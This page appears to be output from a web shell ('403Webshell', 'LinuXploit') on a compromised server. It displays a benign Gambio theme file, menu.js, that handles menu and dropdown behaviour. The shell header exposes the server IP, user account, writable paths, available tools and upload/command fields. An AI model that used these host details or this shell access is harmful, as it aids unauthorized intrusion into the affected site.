403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/themes/Honeygrid/javascripts/source/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/themes/Honeygrid/javascripts/source/widgets/menu.js
/* --------------------------------------------------------------
 menu.js 2018-02-01
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2018 Gambio GmbH
 Released under the GNU General Public License (Version 2)
 [http://www.gnu.org/licenses/gpl-2.0.html]
 --------------------------------------------------------------
 */

/**
 * This widget handles the horizontal menu/dropdown functionality.
 *
 * It's used for the top category navigation, the cart dropdown or the top menu (for example). It is
 * able to re-order the menu entries to a special "More" submenu to save space if the entries don't
 * fit in the current view. It's also able to work with different event types for opening/closing menu
 * items in the different view types.
 */
gambio.widgets.module(
    'menu',

    [
        gambio.source + '/libs/events',
        gambio.source + '/libs/responsive',
        gambio.source + '/libs/interaction'
    ],

    function (data) {

        'use strict';

// ########## VARIABLE INITIALIZATION ##########

        var $this = $(this),
            $window = $(window),
            $body = $('body'),
            $list = null,
            $entries = null,
            $more = null,
            $moreEntries = null,
            $menuEntries = null,
            $custom = null,
            $categories = null,
            touchEvents = null,
            currentWidth = null,
            mode = null,
            mobile = false,
            enterTimer = null,
            leaveTimer = null,
            initializedPos = false,
            onEnter = false,
            toucheStartEvent = null,
            toucheEndEvent = null,
            transition = {},
            isTouchDevice = Modernizr.touchevents || navigator.userAgent.search(/Touch/i) !== -1,
            defaults = {
                // The menu type must be either 'horizontal' or 'vertical'
                menuType: 'horizontal',

                // Vertical menu options.
                unfoldLevel: 0,
                accordion: false,
                showAllLink: false,

                // Minimum breakpoint to switch to mobile view
                breakpoint: 40,
                // Delay in ms after a mouseenter the element gets shown
                enterDelay: 0,
                // Delay in ms after a mouseleave an element gets hidden
                leaveDelay: 50,
                // Tolerance in px which gets substracted from the nav-width to prevent flickering
                widthTolerance: 10,
                // Class that gets added to an opened menu list item
                openClass: 'open',
                // If true, elements get moved from/to the more menu if there isn't enough space
                switchElementPosition: true,
                // Ignore menu functionality on elements inside this selection
                ignoreClass: 'ignore-menu',
                // Tolerance in px which is allowed for a "click" event on touch
                touchMoveTolerance: 10,
                // If true, the li with the active class gets opened
                openActive: false,
                events: {
                    // Event types that open the menus in desktop view.
                    // Possible values: ['click']; ['hover']; ['touch', 'hover']; ['click', 'hover']
                    desktop: ['touch', 'hover'],
                    // Event types that open the menus in mobile view.
                    // Possible values: ['click']; ['hover']; ['touch', 'hover']; ['click', 'hover']; ['touch', 'click']
                    mobile: ['touch', 'click']
                }
            },
            options = $.extend({}, defaults, data),
            module = {};


// ########## HELPER FUNCTIONS ##########

        /**
         * Helper function to calculate the tolerance
         * between the touchstart and touchend event.
         * If the max tolarance is exceeded return true
         * @param       {object}        e       jQuery event object
         * @return     {boolean}               If true it is a move event
         * @private
         */
        var _touchMoveDetect = function () {
            toucheEndEvent = toucheEndEvent || toucheStartEvent;
            var diff = Math.abs(toucheEndEvent.event.originalEvent.pageY - toucheStartEvent.event.originalEvent.pageY);
            toucheEndEvent = null;
            return diff > options.touchMoveTolerance;
        };

        /**
         * Updates the jQuery selection, because the
         * list elements can be moved
         *
         * @private
         */
        var _getSelections = function () {
            $list = $this.children('ul');
            // Exclude the ".navbar-topbar-item" elements because they
            // are cloned to this menu and are only shown in mobile view
            $entries = $list.children().not('.navbar-topbar-item');
            $more = $entries.filter('.dropdown-more');
            $moreEntries = $more.children('ul');
            $custom = $entries.filter('.custom');
            $menuEntries = $entries.not($more);
            $categories = $menuEntries.not($custom);
        };

        /**
         * Helper function that detaches an element from the
         * menu and attaches it to the correct position at
         * the target
         * @param       {object}    $item       jQuery selection of the item that gets detached / attached
         * @param       {object}    $target     jQuery selection of the target container
         * @private
         */
        var _setItem = function ($item, $target) {
            var positionId = $item.data('position'),
                done = false;

            // Look for the first item that has a higher
            // positionId that the item and insert it
            // before the found entry
            $target
                .children()
                .each(function () {
                    var $self = $(this),
                        position = $self.data('position');

                    if (position > positionId) {
                        $self.before($item.detach());
                        done = true;
                        return false;
                    }
                });

            // Append the item if the positionId has
            // a higher value as the last item int the
            // target
            if (!done) {
                $target.append($item);
            }
        };

        /**
         * Helper function that checks which elements needs
         * to be added to the menu. Every element that needs
         * to be added gets passed to the function
         * "_setItem"
         * @param       {integer}       diff        Amount of pixels that were free
         * @private
         */
        var _addElement = function (diff) {

            var done = false;

            /**
             * Helper function that loops through the elements
             * and tries to add the elements to the menu if
             * it would fit.
             * @param       {object}    $elements       jQuery selection of the entries inside the more-menu
             * @private
             */
            var _showElements = function ($elements) {
                $elements.each(function () {
                    var $self = $(this),
                        width = $self.data().width;

                    if (diff > width) {
                        // Add the item to the menu
                        _setItem($self, $list);
                        diff -= width;
                    } else {
                        // The next item wouldn't fit anymore',
                        // quit the loop
                        done = true;
                        return false;
                    }
                });
            };

            // Update the selection of the visible menu items.
            _getSelections();

            // Add the content manager entries to the menu first.
            // If there is still space, add the "normal" category
            // items also
            _showElements($moreEntries.children('.custom'));
            if (!done) {
                _showElements($moreEntries.children());
            }

            // Check if the items still in the more menu
            // would fit inside the main menu if the more
            // menu would get hidden
            var width = 0;
            $moreEntries
                .children()
                .each(function () {
                    width += $(this).data().width;
                });

            if (width === 0) {
                $more.hide();
            } else if (width < ($more.data().width + diff)) {
                $more.hide();
                diff += $more.data().width;
                _showElements($moreEntries.children());
            }

        };

        /**
         * Helper function that checks which elements needs
         * to be removed from the menu, so that it fits
         * inside one menu line. Every element that needs
         * to be removed gets passed to the function
         * "_setItem"
         * @param       {integer}       diff        Amount of pixels that needs to be saved
         * @private
         */
        var _removeElement = function (diff) {

            var done = false;

            /**
             * Helper function that contains the check
             * loop for determining which elements
             * needs to be removed
             * @param           {object}    $elements       jQuery selection of the menu items
             * @private
             */
            var _hideElements = function ($elements) {
                $elements.each(function () {
                    var $self = $(this),
                        width = $self.data().width;

                    // Remove the possibly set open state
                    $self
                        .filter('.' + options.openClass)
                        .add($self.find('.' + options.openClass))
                        .removeClass(options.openClass);

                    // Add the entry to the more-menu
                    _setItem($self, $moreEntries);

                    diff -= width;

                    if (diff < 0) {
                        // Enough elements are removed,
                        // quit the loop
                        done = true;
                        return false;
                    }
                });
            };

            // Update the selection of the visible menu items
            _getSelections();

            // Add the width of the more entry if it's not
            // visible, because it will get shown during this
            // function call
            if ($more.is(':hidden')) {
                diff += $more.data().width;
                $more.removeClass('style');
                $more.show();
            }

            // First remove "normal" category entries. If that
            // isn't enough remove the content manager entries also
            _hideElements($($categories.get().reverse()));
            if (!done) {
                _hideElements($($custom.get().reverse()));
            }
        };

        /**
         * Sets a data attribute to the menu items
         * that contains the width of the elements.
         * This is needed because if it is display
         * none the detected with will be zero. It
         * sets position id also.
         * @private
         */
        var _initElementSizesAndPosition = function () {
            $entries.each(function (i) {
                var $self = $(this),
                    width = $self.outerWidth();

                $self.data({width: width, position: i});
            });
        };

        /**
         * Helper function to close all menu entries.
         * Needed for the desktop <-> mobile view
         * change, mostly.
         * @private
         */
        var _closeMenu = function () {
            $this.find('li.' + options.openClass).each(function () {
                if ($(this).parents('.navbar-categories-left').length > 0) {
                    return true;
                }
                $(this).removeClass(options.openClass);
            });
        };

        /**
         * Helper function to clear all pending
         * functions
         * @private
         */
        var _clearTimeouts = function () {
            enterTimer = enterTimer ? clearTimeout(enterTimer) : null;
            leaveTimer = leaveTimer ? clearTimeout(leaveTimer) : null;
        };

        /**
         * Helper function to reset the css of the menu.
         * This is needed to remove the overflow & height
         * settings of the menu of the css file. The
         * directives were set to prevent flickering on page
         * load
         * @private
         */
        var _resetInitialCss = function () {
            $this.css({
                'overflow': 'visible'
            });
        };

        /**
         * Helper function to set positioning classes
         * to the opend flyout. This is needed to keep
         * the flyout inside the boundaries of the navigation
         * @private
         */
        var _repositionOpenLayer = function () {
            var listWidth = $list.width(),
                $openLayer = $entries
                    .filter('.' + options.openClass)
                    .children('ul');

            $openLayer.each(function () {
                var $self = $(this),
                    $parent = $self.parent();

                // Reset the classes to prevent wrong calculation due to special styles
                $parent.removeClass('flyout-right flyout-left flyout-center flyout-wont-fit');

                var width = $self.outerWidth(),
                    parentPosition = $parent.position().left,
                    parentWidth = $parent.outerWidth();

                // Check witch class needs to be set
                if (listWidth > parentPosition + width) {
                    $parent.addClass('flyout-right');
                } else if (parentPosition + parentWidth - width > 0) {
                    $parent.addClass('flyout-left');
                } else if (width < listWidth) {
                    $parent.addClass('flyout-center');
                } else {
                    $parent.addClass('flyout-wont-fit');
                }

            });
        };

        /**
         * Helper function to calculate the difference between
         * the size of the visible elements in the menu and the
         * container size. If there is space, it calls the function
         * to activate an menu entry else it calls the function to
         * deactivate a menu entry
         * @param       {object}    e         jQuery event object
         * @param       {string}    eventName Event name parameter of the event object
         * @private
         */
        var _updateCategoryMenu = function (e, eventName) {
            var containerWidth = $this.innerWidth() - options.widthTolerance,
                width = 0;

            // Check if the container width has changed since last call
            if (options.menuType === 'horizontal'
                && (currentWidth !== containerWidth || eventName === 'switchedToDesktop')) {

                $list
                    .children(':visible')
                    .each(function () {
                        width += $(this).data('width');
                    });

                // Add or remove elements depending on the size of the
                // visible elements
                if (containerWidth < width) {
                    _removeElement(width - containerWidth);
                } else {
                    _addElement(containerWidth - width);
                }

                _repositionOpenLayer();

                currentWidth = containerWidth;
            }

        };

        /**
         * Helper function to switch to the mobile
         * mode of the menu.
         * @private
         */
        var _switchToMobileView = function () {
            // Reset the current width so that
            // the "_updateCategoryMenu" will
            // perform correctly on the next view
            // change to desktop
            currentWidth = -1;
            _addElement(99999999);

            $('.level-1').css('padding-bottom', '200px'); // This padding corrects expand/collapse behavior of lower menu items in various mobile browsers. 

            // Use the vertical menu on mobile view.
            if (options.menuType === 'vertical') {
                // fixes display horizontal menu after a switch to mobile and back to desktop is performed
                if ($('#categories nav.navbar-default:first').not('.nav-categories-left').length > 0) {
                    $('#categories nav.navbar-default:first').css({
                        opacity: 0,
                        height: 0
                    })
                        .children().hide();
                }

                // move topmenu-content items from horizontal menu to vertical menu
                $this
                    .find('ul.level-1 li.navbar-topbar-item:first')
                    .before($('#categories nav.navbar-default li.topmenu-content').detach());

                $this.appendTo('#categories > .navbar-collapse');
                $this.addClass('navbar-default navbar-categories');
                $this.find('ul.level-1').addClass('navbar-nav');
                $this.find('.navbar-topbar-item').not('.topbar-search').show();

                _bindHorizontalEventHandlers();

                $body.trigger(jse.libs.theme.events.MENU_REPOSITIONED(), ['switchedToMobile']);
            }
        };

        /**
         * Helper function to switch to the desktop
         * mode of the menu. Additionally, in case that
         * the desktop mode is shown for the first time
         * set the position and width of the elements
         * @private
         */
        var _switchToDesktopView = function () {
            $('.level-1').css('padding-bottom', ''); // Reset display fix for mobile browsers.

            // Revert all the changes made during the switch to mobile.
            if (options.menuType === 'vertical') {
                // fixes display horizontal menu after a switch to mobile and back to desktop is performed
                if ($('#categories nav.navbar-default:first').not('.nav-categories-left').length > 0) {
                    $('#categories nav.navbar-default:first').css({
                        opacity: 1,
                        height: 'auto'
                    })
                        .children().show();
                }

                // move topmenu-content items back to horizontal menu
                var $topmenuContentElements = $this.find('li.topmenu-content').detach();
                $('#categories nav.navbar-default ul.level-1:first').append($topmenuContentElements);

                $this.appendTo('.box-categories');
                $this.removeClass('navbar-default navbar-categories');
                $this.find('ul.level-1').removeClass('navbar-nav');
                $this.find('.navbar-topbar-item').hide();
                _unbindHorizontalEventHandlers();

                $body.trigger(jse.libs.theme.events.MENU_REPOSITIONED(), ['switchedToDesktop']);
            }


            if (!initializedPos) {
                _initElementSizesAndPosition();
                initializedPos = true;
            }

            if (options.menuType === 'horizontal') {
                _updateCategoryMenu();

                if (isTouchDevice) {
                    $list.find('.enter-category').show();
                    $list.find('.dropdown > a').click(function (e) {
                        e.preventDefault();
                    });
                }
            }
        };

        /**
         * Helper function to add the class to the li-element
         * depending on the open event. This can be a "touch"
         * or a "mouse" class
         * @param       {object}    $target         jQuery selection of the li-element
         * @param       {string}    className       Name of the class that gets added
         * @private
         */
        var _setEventTypeClass = function ($target, className) {
            $target
                .removeClass('touch mouse')
                .addClass(className || '');
        };


// ########## MAIN FUNCTIONALITY ##########

        /**
         * Function that gets called by the breakpoint trigger
         * (which is fired on browser resize). It checks for
         * CSS view changes and reconfigures the the JS behaviour
         * of the menu in that case
         * @private
         */
        var _breakpointHandler = function () {

            // Get the current viewmode
            var oldMode = mode || {},
                newMode = jse.libs.theme.responsive.breakpoint();

            // Only do something if the view was changed
            if (newMode.id !== oldMode.id) {

                // Check if a view change between mobile and desktop view was made
                var switchToMobile = (newMode.id <= options.breakpoint && (!mobile || oldMode.id === undefined)),
                    switchToDesktop = (newMode.id > options.breakpoint && (mobile || oldMode.id === undefined));

                // Store the new view settings
                mobile = newMode.id <= options.breakpoint;
                mode = $.extend({}, newMode);

                if (switchToMobile || switchToDesktop) {
                    _clearTimeouts();
                    if (options.menuType !== 'vertical') {
                        _closeMenu();
                    }

                    // Change the visibility of the menu items
                    // in case of desktop <-> mobile view change
                    if (options.switchElementPosition) {
                        if (switchToMobile) {
                            _switchToMobileView();
                        } else {
                            _switchToDesktopView();
                        }
                    } else {
                        _repositionOpenLayer();
                    }

                } else if (!mobile && options.switchElementPosition) {
                    // Update the visibility of the menu items
                    // if the view change was desktop to desktop only
                    _updateCategoryMenu();
                } else if (!mobile) {
                    _repositionOpenLayer();
                }

            }

        };


// ######### EVENT HANDLER ##########

        /**
         * Changes the epand / collapse state of the menu,
         * if there is an submenu. In the other case it
         * will let execute the default action (most times
         * the execution of a link)
         * @param {object}  e       jQuery event object
         * @param {string}  mode    The current view mode (can be "mobile" or "desktop"
         * @param {integer} delay   Custom delay (in ms) for opening closing the menu (needed for click / touch events)
         * @private
         */
        var _openMenu = function (e, type, delay) {

            var $self = $(this),
                $submenu = $self.children('ul'),
                length = $submenu.length,
                level = ($submenu.length) ? ($submenu.data('level') || '0') : 99,
                validSubmenu = (parseInt(level, 10) <= 2 && mode.id > options.breakpoint) || mode.id
                    <= options.breakpoint;

            if (type === 'mobile') {
                e.stopPropagation();
            }

            // Only change the state if there is
            // a submenu
            if (length && validSubmenu) {
                e.preventDefault();

                if (type === 'mobile') {
                    // Simply toggle the openClass in mobile mode
                    $self.toggleClass(options.openClass);
                } else {
                    // Perform the else case for the desktop view

                    var visible = $self.hasClass(options.openClass),
                        leave = $self.hasClass('leave'),
                        action = (e.data && e.data.action) ? e.data.action :
                            (visible && leave) ? 'enter' :
                                visible ? 'leave' : 'enter';

                    // Depending on the visibility and the event-action-parameter
                    // the submenu gets opened or closed
                    switch (action) {
                        case 'enter':
                            if (!onEnter && !jse.libs.theme.interaction.isMouseDown()) {
                                onEnter = true;
                                // Set a timer for opening if the submenu (delayed opening)
                                _clearTimeouts();
                                enterTimer = setTimeout(function () {

                                    // Remove all openClass-classes from the
                                    // menu except the element to open and it's parents
                                    $list
                                        .find('.' + options.openClass)
                                        .not($self)
                                        .not($self.parentsUntil($this, '.' + options.openClass))
                                        .trigger(jse.libs.theme.events.TRANSITION_STOP(), [])
                                        .removeClass(options.openClass);

                                    $list
                                        .find('.leave')
                                        .trigger(jse.libs.theme.events.TRANSITION_STOP(), [])
                                        .removeClass('leave');

                                    // Open the submenu
                                    transition.open = true;

                                    // Set and unset the "onEnter" to prevent
                                    // closing the menu immediately after opening if
                                    // the cursor is at an place over the opening menu
                                    // (this can happen if other components trigger the
                                    // open event)
                                    $self
                                        .off(jse.libs.theme.events.TRANSITION_FINISHED())
                                        .one(jse.libs.theme.events.TRANSITION_FINISHED(), function () {
                                            onEnter = false;
                                        })
                                        .trigger(jse.libs.theme.events.TRANSITION(), transition)
                                        .trigger(jse.libs.theme.events.OPEN_FLYOUT(), [$this]);

                                    _repositionOpenLayer();
                                }, (typeof delay === 'number') ? delay : options.enterDelay);

                            }

                            break;
                        case 'leave':
                            onEnter = false;
                            // Set a timer for closing if the submenu (delayed closing)
                            _clearTimeouts();
                            $self.addClass('leave');
                            leaveTimer = setTimeout(function () {
                                // Remove all openClass-classes from the
                                // menu except the elements parents
                                transition.open = false;
                                $list
                                    .find('.' + options.openClass)
                                    .not($self.parentsUntil($this, '.' + options.openClass))
                                    .off(jse.libs.theme.events.TRANSITION_FINISHED())
                                    .one(jse.libs.theme.events.TRANSITION_FINISHED(), function () {
                                        _setEventTypeClass($self, '');
                                        $self.removeClass('leave');
                                    })
                                    .trigger(jse.libs.theme.events.TRANSITION(), transition);


                            }, (typeof delay === 'number') ? delay : options.leaveDelay);
                            break;
                        default:
                            break;
                    }

                }

            }

        };

        /**
         * Event handler for the click / mouseenter / mouseleave event
         * on the navigation li elements. It checks if the event type
         * is supported for the current view type and calls the
         * openMenu-function if so.
         * @param       {object}    e           jQuery event object
         * @private
         */
        var _mouseHandler = function (e) {
            var $self = $(this),
                viewport = mode.id <= options.breakpoint ? 'mobile' : 'desktop',
                events = (options.events && options.events[viewport]) ? options.events[viewport] : [];

            _setEventTypeClass($self, 'mouse');
            if ($.inArray(e.data.event, events) > -1) {
                _openMenu.call($self, e, viewport, e.data.delay);
            }

            // Perform navigation for custom links and category links on touch devices if no subcategories are found.
            if (($self.hasClass('custom') || (isTouchDevice && $self.children('ul').length == 0))
                && e.data.event === 'click' && !$self.find('form').length) {
                e.preventDefault();
                e.stopPropagation();

                if ($self.find('a').attr('target') === '_blank') {
                    window.open($self.find('a').attr('href'));
                } else {
                    location.href = $self.find('a').attr('href');
                }
            }
        };

        /**
         * Event handler for the touchstart event (or "pointerdown"
         * depending on the browser). It removes the other critical
         * event handler (that would open the menu) from the list
         * element if the the mouseenter was executed before and
         * a click or touch event will be performed afterwards. This
         * is needed to prevent the browser engine workarounds which
         * will automatically perform mouse / click-events on touch
         * also.
         * @private
         */
        var _touchHandler = function (e) {
            e.stopPropagation();

            var $self = $(this),
                viewport = mode.id <= options.breakpoint ? 'mobile' : 'desktop',
                events = (options.events && options.events[viewport]) ? options.events[viewport] : [];

            $list.find('.enter-category').show();
            $list.find('.dropdown > a').on('click', function (e) {
                e.preventDefault();
            });

            if (e.data.type === 'start') {
                toucheStartEvent = {event: e, timestamp: new Date().getTime(), top: $window.scrollTop()};
                $list.off('mouseenter.menu mouseleave.menu');
            } else if ($.inArray('touch', events) > -1 && !_touchMoveDetect(e)) {
                _setEventTypeClass($self, 'touch');

                if ($.inArray('hover', events) === -1 || touchEvents.start !== 'pointerdown') {
                    _openMenu.call($self, e, viewport);
                }

                $list.on('mouseleave', function () {
                    $list
                        .on('mouseenter.menu', 'li', {event: 'hover'}, _mouseHandler)
                        .on('mouseleave.menu', 'li', {event: 'hover', action: 'leave'}, _mouseHandler);
                });

            }

        };

        /**
         * Stores the last touch position on touchmove
         * @param       e       jQuery event object
         * @private
         */
        var _touchMoveHandler = function (e) {
            toucheEndEvent = {event: e, timestamp: new Date().getTime(), top: $window.scrollTop()};
        };

        /**
         * Event handler for closing the menu if
         * the user interacts with the page
         * outside of the menu
         * @param       {object}    e       jQuery event object
         * @param       {object}    d       jQuery selection of the event emitter
         * @private
         */
        var _closeFlyout = function (e, d) {
            if (d !== $this && $this.find($(e.target)).length === 0) {
                // Remove open and close timer
                _clearTimeouts();

                // Remove all state-classes from the menu
                if (options.menuType === 'horizontal') {
                    $list
                        .find('.touch, .mouse, .leave, .' + options.openClass)
                        .removeClass('touch mouse leave ' + options.openClass);
                }
            }
        };

        var _onClickAccordion = function (e) {
            e.preventDefault();
            e.stopPropagation();

            if ($(this).parents('.navbar-topbar-item').length > 0) {
                return;
            }

            if ($(this).hasClass('dropdown')) {
                if ($(this).hasClass(options.openClass)) {
                    $(this)
                        .removeClass(options.openClass)
                        .find('.' + options.openClass)
                        .removeClass(options.openClass);
                } else {
                    $(this)
                        .addClass(options.openClass)
                        .parentsUntil($this, 'li')
                        .addClass(options.openClass);
                }
            } else {
                location.href = $(this).find('a').attr('href');
            }
        };

        var _bindHorizontalEventHandlers = function () {
            $list
                .on(touchEvents.start + '.menu', 'li', {type: 'start'}, _touchHandler)
                .on(touchEvents.move + '.menu', 'li', {type: 'start'}, _touchMoveHandler)
                .on(touchEvents.end + '.menu', 'li', {type: 'end'}, _touchHandler)
                .on('click.menu', 'li', {event: 'click', 'delay': 0}, _mouseHandler)
                .on('mouseenter.menu', 'li', {event: 'hover', action: 'enter'}, _mouseHandler)
                .on('mouseleave.menu', 'li', {event: 'hover', action: 'leave'}, _mouseHandler);

            $body
                .on(jse.libs.theme.events.MENU_REPOSITIONED(), _updateCategoryMenu);
        };

        var _unbindHorizontalEventHandlers = function () {
            $list
                .off(touchEvents.start + '.menu', 'li')
                .off(touchEvents.move + '.menu', 'li')
                .off(touchEvents.end + '.menu', 'li')
                .off('click.menu', 'li')
                .off('mouseenter.menu', 'li')
                .off('mouseleave.menu', 'li');
        };

// ########## INITIALIZATION ##########

        /**
         * Init function of the widget
         * @constructor
         */
        module.init = function (done) {
            // @todo Getting the "touchEvents" config value produces problems in tablet devices.
            touchEvents = jse.core.config.get('touch');
            transition.classOpen = options.openClass;

            _getSelections();
            _resetInitialCss();

            $body
                .on(jse.libs.theme.events.BREAKPOINT(), _breakpointHandler)
                .on(jse.libs.theme.events.OPEN_FLYOUT() + ' click ' + touchEvents.end, _closeFlyout);

            $('.close-menu-container').on('click', function (e) {
                e.stopPropagation();
                e.preventDefault();
            })

            $('.close-flyout').on('click', _closeMenu);

            if (options.menuType === 'horizontal') {
                _bindHorizontalEventHandlers();
            }

            if (options.menuType === 'vertical') {
                if (options.accordion === true) {
                    $this.on('click', 'li', _onClickAccordion);
                }

                // if there is no top header we must create dummy html because other modules will not work correctly
                if ($('#categories').length === 0) {
                    var html = '<div id="categories"><div class="navbar-collapse collapse">'
                        + '<nav class="navbar-default navbar-categories hidden"></nav></div></div>';
                    $('#header').append(html);
                }
            }

            _breakpointHandler();

            /**
             * Stop the propagation of the events inside this container
             * (Workaround for the "more"-dropdown)
             */
            $this
                .find('.' + options.ignoreClass)
                .on('mouseleave.menu mouseenter.menu click.menu ' + touchEvents.start + ' '
                    + touchEvents.end, 'li', function (e) {
                    e.stopPropagation();
                });

            if (options.openActive) {
                var $active = $this.find('.active');
                $active
                    .parentsUntil($this, 'li')
                    .addClass('open');
            }

            $('li.custom-entries a').on('click', function (e) {
                e.stopPropagation();
            });

            var viewport = mode.id <= options.breakpoint ? 'mobile' : 'desktop';

            if (viewport == 'mobile') {
                $('.level-1').css('padding-bottom', '200px'); // This padding corrects expand/collapse behavior of lower menu items in various mobile browsers. 
            }

            done();
        };

        // Return data to widget engine
        return module;
    });

Youez - 2016 - github.com/yon3zu
LinuXploit